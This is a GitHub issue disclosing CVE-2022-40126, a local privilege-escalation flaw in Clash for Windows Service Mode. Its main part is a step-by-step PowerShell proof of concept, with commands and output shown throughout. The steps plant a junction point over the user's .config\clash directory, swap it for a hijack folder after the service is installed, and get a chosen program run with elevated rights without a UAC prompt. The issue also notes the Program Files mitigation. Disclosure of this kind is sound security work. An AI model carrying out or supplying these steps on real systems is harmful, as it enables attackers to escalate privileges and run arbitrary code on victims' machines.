Headline
CVE-2022-40126: [Bug]: Clash For Windows 最新版存在本地权限提升漏洞/Clash For Windows latest version has LPE vulnerability · Issue #3405 · Fndroid/clash_for_windows_pkg
A misconfiguration in the Service Mode profile directory of Clash for Windows v0.19.9 allows attackers to escalate privileges and execute arbitrary commands when Service Mode is activated.
经 #3405 (comment) 提醒,确实有了个新思路,只要在安装 service 前执行就有可能实现:
1. 准备工作
预先准备两个目录
C:\Users\AKAVM> new-item "$home\clash-placeholder", "$home\clash-hijack", "$home\clash-hijack\service" -type directory
Directory: C:\Users\AKAVM
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/9/2022 8:18 PM clash-placeholder
d----- 9/9/2022 8:18 PM clash-hijack
Directory: C:\Users\AKAVM\clash-hijack
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/9/2022 8:18 PM service
往clash-hijack\service里面塞点东西,这里我选了个 rufus 便携版
2. 使用 junction point 占用 clash config 目录
这步需要保证 clash config 目录没有被占用,时机有很多先按下不表
C:\Users\AKAVM> get-childitem "$home\.config\clash" -exclude "service" | copy-item -destination "$home\clash-placeholder"
C:\Users\AKAVM> remove-item "$home\.config\clash" -force -recurse -erroraction silentlycontinue
C:\Users\AKAVM> new-item -type junction "$home\.config\clash" -target "$home\clash-placeholder"
Directory: C:\Users\AKAVM\.config
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----l 9/9/2022 7:09 PM clash
3. 通过 cfw 安装 service
此时 service 已经正常工作
4. service 安装完成后转移文件并重新挂载准备好的 hijack 目录
C:\Users\AKAVM> remove-item "$home\.config\clash" -force -recurse
C:\Users\AKAVM> get-childitem "$home\clash-placeholder" -exclude "service" | copy-item -destination "$home\clash-hijack"
C:\Users\AKAVM> get-childitem "$home\clash-placeholder\service" -exclude "clash-core-service.exe" | copy-item -destination "$home\clash-hijack\service"
C:\Users\AKAVM> new-item -type junction "$home\.config\clash" -target "$home\clash-hijack"
Directory: C:\Users\AKAVM\.config
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----l 9/9/2022 7:21 PM clash
到这步为止已经成功劫持该目录,并且安装 service 后 cfw 全程处于开启状态
5. 最后重启验证效果
可以看到 rufus 已经跳过 uac 授权直接启动,以上过程仅 cfw 在安装 service 时申请过特殊权限
而使用program files目录可以避免这个问题
C:\Users\AKAVM> new-item -type junction "C:\Program Files\Common Files\clash" -target "$home\clash-placeholder"
new-item : Access to the path 'clash' is denied.